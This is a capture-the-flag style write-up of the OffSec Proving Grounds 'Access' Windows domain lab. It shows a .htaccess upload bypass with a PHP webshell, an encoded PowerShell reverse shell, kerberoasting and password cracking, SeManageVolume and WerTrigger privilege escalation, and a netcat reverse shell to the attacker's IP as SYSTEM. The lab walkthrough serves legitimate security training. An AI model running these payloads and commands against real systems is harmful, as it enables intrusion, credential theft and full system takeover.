writeup 2026-01-18 · 3 min read

OffSec Proving Grounds Access Writeup

Windows AD Proving Grounds box. A .htaccess trick uploads a PHP shell, kerberoast cracks svc_mssql, and SeManageVolume plus WerTrigger gives SYSTEM.

OffSec Proving Grounds Access Writeup

Summary

Access is a Windows AD Proving Grounds box whose upload form blacklists PHP extensions but allows a .htaccess that maps a .rce extension to the PHP handler, so a shell.rce file runs commands as svc_apache and a base64 PowerShell payload returns a reverse shell. SharpHound run on the host and ingested into BloodHound shows svc_mssql is kerberoastable, and Rubeus plus hashcat crack its ticket to trustno1. RunasCs opens a session as svc_mssql, which holds SeManageVolumePrivilege; the SeManageVolumeExploit grants full filesystem access, and WerTrigger with a staged Report.wer and phoneinfo.dll then executes a netcat payload as NT AUTHORITY\SYSTEM.

Initial Access: RCE via Unrestricted File Upload

There is a file extension blacklist happening on the back-end, that prevents me from uploading files ending with php extensions, like .php, .php5, .phtml and others.

Since it’s a black-list, not a white-list I can upload basically any file as long as they are not ending with php.

I use the upload form to upload .htaccess:

1
AddType application/x-httpd-php .rce

This will make the server interpret files ending with “.rce” as php files. Now, I create “shell.rce”:

1
<?php system($_REQUEST["cmd"]); ?>

I upload it and access it directly at http://access.offsec/uploads/shell.rce?cmd=whoami:

shell.rce webshell running whoami through the .htaccess PHP mapping

I get a shell by using a Powershell Encoded reverse shell payload from Revshells.com.

1
GET /uploads/shell.rce?cmd=powershell%20-e%20[base64 blob]

Horizontal Privilege Escalation: Kerberoasting svc_mssql

I transfer SharpHound.exe collector to the machine and run it as svc_apache:

1
.\SharpHound.exe -c All --zipfilename bsec

It collects some data about the domain and saves it to my local folder:

1
-a----        1/18/2026   6:08 AM          27293 20260118060816_bsec.zip

I transfer it to the web root folder so I can grab it from my machine:

1
copy 20260118060816_bsec.zip C:\xampp\htdocs\

I grab it at http://192.168.234.187/20260118060816_bsec.zip and ingest it into bloodhound CE. I enumerate the domain, to find that svc_mssql is kerberoastable:

BloodHound showing svc_mssql as kerberoastable

I upload Rubeus.exe to the machine and use it to perform a kerberoasting attack:

1
.\Rubeus.exe kerberoast /nowrap

As you can see from the screenshot below, it works, and now I can try and crack the password for svc_mssql:

Rubeus performing the kerberoast and returning the svc_mssql ticket

Save the hash to “kerberoast.txt” and crack it with hashcat:

1
hashcat kerberoast.txt /usr/share/wordlists/rockyou.txt --force

With that, new credentials:

1
2
Username: svc_mssql
Password: trustno1

Vertical Privilege Escalation

I transfer RunasCs.exe to the machine and obtain a session as svc_mssql using its password:

1
.\runascs.exe svc_mssql trustno1 cmd.exe -r 192.168.45.205:53

I notice svc_mssql has the **SeManageVolumePrivilege **privilege:

1
2
3
4
5
6
7
8
9
10
11
12
C:\Windows\Tasks>whoami /priv 
whoami /priv 

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State   
============================= ================================ ========
SeMachineAccountPrivilege     Add workstations to domain       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled 
SeManageVolumePrivilege       Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Disabled

I use the exploit from this github repository (SeManageVolumeExploit.exe) to abuse this privilege:

1
2
3
4
C:\Windows\Tasks>.\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 928
DONE

It works, and now I can access every folder in the victim machine, e.g. Administrator user’s desktop:

1
2
3
4
5
6
7
8
9
10
c:\Users\Administrator\Desktop>dir 
dir 
 Volume in drive C has no label.
 Volume Serial Number is 5C30-DCD7

 Directory of c:\Users\Administrator\Desktop

04/08/2022  01:40 AM    <DIR>          .
04/08/2022  01:40 AM    <DIR>          ..
01/17/2026  02:30 PM                34 proof.txt

To leverage this, I use this other exploit (WerTrigger) to obtain a system shell. I first save Report.wer and WerTrigger.exe to the same folder (at c:\windows\tasks):

1
2
3
4
5
C:\Windows\Tasks>powershell iwr 192.168.45.205/Report.wer -outfile Report.wer
powershell iwr 192.168.45.205/Report.wer -outfile Report.wer

C:\Windows\Tasks>powershell iwr 192.168.45.205/WerTrigger.exe -outfile WerTrigger.exe
powershell iwr 192.168.45.205/WerTrigger.exe -outfile WerTrigger.exe

I download phoneinfo.dll to system32:

1
c:\Windows\System32>powershell iwr 192.168.45.205/phoneinfo.dll -outfile phoneinfo.dll

I go back to C:\windows\tasks and run the trigger. There’s no output, but whatever I enter next will be executed as SYSTEM. I do the following payload:

1
2
c:\Windows\Tasks>.\WerTrigger.exe
C:\windows\tasks\nc64.exe 192.168.45.205 53 -e cmd.exe

This lands me a shell on the victim as nt authority\system, as you can see from the screenshot below:

WerTrigger producing a shell as NT AUTHORITY SYSTEM

This post is licensed under CC BY 4.0 by the author.